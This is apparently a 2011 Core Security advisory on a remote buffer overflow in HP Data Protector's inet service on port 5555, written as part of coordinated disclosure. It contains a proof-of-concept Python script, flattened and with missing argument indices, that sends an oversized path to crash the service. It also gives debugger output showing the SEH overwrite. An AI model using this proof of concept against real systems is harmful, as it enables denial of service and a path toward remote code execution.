HP Data Protector EXEC_CMD Buffer Overflow Vulnerability
Core Security Technologies - Corelabs AdvisoryHP Data Protector EXEC_CMD Buffer Overflow Vulnerability
1. Advisory Information
Title: HP Data Protector EXEC_CMD Buffer Overflow Vulnerability
Advisory ID: CORE-2011-0606
Advisory URL: http://www.coresecurity.com/content/HP-Data-Protector-EXECCMD-Vulnerability
Date published: 2011-06-29
Date of last update: 2011-06-29
Vendors contacted: HP
Release mode: Coordinated release
2. Vulnerability Information
3. Vulnerability Description
HP Data Protector  is an automated backup and recovery software for single-server to enterprise environments. A vulnerability in HP Data Protector could allow a remote attacker to execute arbitrary code. The vulnerability is triggered by sending a request to port 5555 of a host running the "data protector inet" service, part of HP Data Protector.
4. Vulnerable packages
- HP OpenView Storage Data Protector v6.20 (running on Windows).
- HP OpenView Storage Data Protector v6.11 (running on Windows).
- HP OpenView Storage Data Protector v6.10 (running on Windows).
- HP OpenView Storage Data Protector v6.00 (running on Windows).
- Previous versions may be affected, but were not tested.
5. Non-vulnerable packages
- No fixes are available at the time of publication.
6. Vendor Information, Solutions and Workarounds
HP has issued a security bulletin with document ID c02872182 available through HP Support Center at http://www.hp.com/go/HPSC.
The latest version of HP Data Protector is vulnerable to this issue. HP has provided the following procedure to mitigate this vulnerability:
- Upgrade to Data Protector A.06.20 or subsequent.
- Enable encrypted control communication services on cell server and all clients in cell.
The upgrade is available for download from http://hp.com/go/dataprotectorthen under 'Product Information' click on 'Trials and Demos'.
This vulnerability was discovered and researched by Nahuel C. Riva from Core Security Technologies. Publication was coordinated by Carlos Sarraute.
8. Technical Description / Proof of Concept Code
The following python script can be used to reproduce the bug.
import sys import socket from struct import pack ip = sys.argv port = int(sys.argv) # default tcp port 5555 target = (ip, port) s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(target) path = 'A' * 5000 packet = pack('<L', 0x20003220) packet += pack('<L', 0x00302000) packet += '\x20' packet += pack('>H', 0x0020) packet += pack('<L', 0x00432000) packet += pack('<L', 0x00303220) packet += '\x20' packet += 'omnicheck.exe' packet += pack('>H', 0x0020) packet += pack('>H', 0x0020) * 4 packet += pack('<L', 0x30200030) packet += pack('>H', 0x0020) packet += path packet += pack('>H', 0x0000) plen = pack('>L', len(packet)) s.send(plen + packet)
By executing this script, the omniinet.exe process crashes in the following EIP:
7C8285D3 8B0424 MOV EAX,DWORD PTR SS:[ESP] 7C8285D6 8BE5 MOV ESP,EBP 7C8285D8 5D POP EBP 7C8285D9 C3 RETN
This is part of a function inside the ntdll.dll library, however, if we look the SEH chain, we can see that the SEH handler was overwritten with the value 0x00410041 (the unicode value for "AA"):
SEH chain of thread 00000578 Address SE handler 009AFF94 omniinet.00410041 00410041 A3004472
The following are the values of the CPU registers at the time of the crash:
EAX C0000008 ECX 009AEC98 EDX 7C82859C ntdll.KiRaiseUserExceptionDispatcher EBX 0015B480 ESP 009AEC44 EBP 009AEC94 ESI 00155A80 EDI 00000000 EIP 7C8285D3 ntdll.7C8285D3 C 0 ES 0023 32bit 0(FFFFFFFF) P 1 CS 001B 32bit 0(FFFFFFFF) A 0 SS 0023 32bit 0(FFFFFFFF) Z 0 DS 0023 32bit 0(FFFFFFFF) S 0 FS 003B 32bit 7FFDB000(FFF) T 0 GS 0000 NULL D 0 O 0 LastErr ERROR_SUCCESS (00000000) EFL 00000206 (NO,NB,NE,A,NS,PE,GE,G) ST0 empty 0.0 ST1 empty 0.0 ST2 empty 0.0 ST3 empty 0.0 ST4 empty 0.0 ST5 empty 0.0 ST6 empty 0.7610000000000000098 ST7 empty 1.0000000000000000000 3 2 1 0 E S P U O Z D I FST 4020 Cond 1 0 0 0 Err 0 0 1 0 0 0 0 0 (EQ) FCW 027F Prec NEAR,53 Mask 1 1 1 1 1 1
The problem is in the 0041D170 function. This function does a blind copy of the string passed in the packet as a path:
0041D170 /$ 55 PUSH EBP 0041D171 |. 8BEC MOV EBP,ESP 0041D173 |. 51 PUSH ECX 0041D174 |. 8B45 08 MOV EAX,DWORD PTR SS:[EBP+8] 0041D177 |. 8945 FC MOV DWORD PTR SS:[EBP-4],EAX 0041D17A |. 8B4D 08 MOV ECX,DWORD PTR SS:[EBP+8] 0041D17D |. 0FB711 MOVZX EDX,WORD PTR DS:[ECX] 0041D180 |. 85D2 TEST EDX,EDX 0041D182 |. 74 73 JE SHORT omniinet.0041D1F7 [...] 0041D1F7 |> 8B45 0C /MOV EAX,DWORD PTR SS:[EBP+C] 0041D1FA |. 0FB708 |MOVZX ECX,WORD PTR DS:[EAX] 0041D1FD |. 85C9 |TEST ECX,ECX 0041D1FF |. 74 26 |JE SHORT omniinet.0041D227 0041D201 |. 8B55 08 |MOV EDX,DWORD PTR SS:[EBP+8] 0041D204 |. 8955 FC |MOV DWORD PTR SS:[EBP-4],EDX 0041D207 |. 8B45 08 |MOV EAX,DWORD PTR SS:[EBP+8] 0041D20A |. 8B4D 0C |MOV ECX,DWORD PTR SS:[EBP+C] 0041D20D |. 66:8B11 |MOV DX,WORD PTR DS:[ECX] 0041D210 |. 66:8910 |MOV WORD PTR DS:[EAX],DX // copy WORDs to the stack 0041D213 |. 8B45 08 |MOV EAX,DWORD PTR SS:[EBP+8] 0041D216 |. 83C0 02 |ADD EAX,2 0041D219 |. 8945 08 |MOV DWORD PTR SS:[EBP+8],EAX 0041D21C |. 8B4D 0C |MOV ECX,DWORD PTR SS:[EBP+C] 0041D21F |. 83C1 02 |ADD ECX,2 0041D222 |. 894D 0C |MOV DWORD PTR SS:[EBP+C],ECX 0041D225 |.^EB D0 \JMP SHORT omniinet.0041D1F7 0041D227 |> 8B55 08 MOV EDX,DWORD PTR SS:[EBP+8] 0041D22A |. 66:C702 0000 MOV WORD PTR DS:[EDX],0 0041D22F |. 8B45 FC MOV EAX,DWORD PTR SS:[EBP-4] 0041D232 |. 8BE5 MOV ESP,EBP 0041D234 |. 5D POP EBP 0041D235 \. C3 RETN
9. Report Timeline
- 2011-06-06: Core Security Technologies notifies the HP team of the vulnerabilities and provides the technical details. Publication date is temporarily set to July 5th, 2011.
- 2011-06-06: Vendor confirms that a new case was assigned within HP Software Security Response Team (SSRT).
- 2011-06-16: Core requests an update on this issue, in particular Core asks the vendor for a technical analysis of the bugs, a list of affected products and versions, and the vendor's plan for providing a fix (no reply received).
- 2011-06-23: Core requests once more an update.
- 2011-06-28: Vendor communicates that a security bulletin will be issued on the same day (June 28). The vendor confirms the vulnerabilities, and recommends as mitigation to enable encrypted communications in the cell server and client.
- 2011-06-28: Core requests a link to the vendor's bulletin, and asks whether CVE ids have been assigned.
- 2011-06-28: Vendor provides a link to the bulletin and CVE names for the vulnerabilities.
- 2011-06-29: Advisory CORE-2011-0606 is published.
 HP Data Protector http://hp.com/go/dataprotector
11. About CoreLabs
CoreLabs, the research center of Core Security Technologies, is charged with anticipating the future needs and requirements for information security technologies. We conduct our research in several important areas of computer security including system vulnerabilities, cyber attack planning and simulation, source code auditing, and cryptography. Our results include problem formalization, identification of vulnerabilities, novel solutions and prototypes for new technologies. CoreLabs regularly publishes security advisories, technical papers, project information and shared software tools for public use at: http://corelabs.coresecurity.com.
12. About Core Security Technologies
Core Security Technologies enables organizations to get ahead of threats with security test and measurement solutions that continuously identify and demonstrate real-world exposures to their most critical assets. Our customers can gain real visibility into their security standing, real validation of their security controls, and real metrics to more effectively secure their organizations.
Core Security's software solutions build on over a decade of trusted research and leading-edge threat expertise from the company's Security Consulting Services, CoreLabs and Engineering groups. Core Security Technologies can be reached at +1 (617) 399-6980 or on the Web at: http://www.coresecurity.com.
The contents of this advisory are copyright (c) 2011 Core Security Technologies and (c) 2011 CoreLabs, and are licensed under a Creative Commons Attribution Non-Commercial Share-Alike 3.0 (United States) License: http://creativecommons.org/licenses/by-nc-sa/3.0/us/
14. PGP/GPG Keys
This advisory has been signed with the GPG key of Core Security Technologies advisories team, which is available for download at /legacy/files/attachments/core_security_advisories.asc.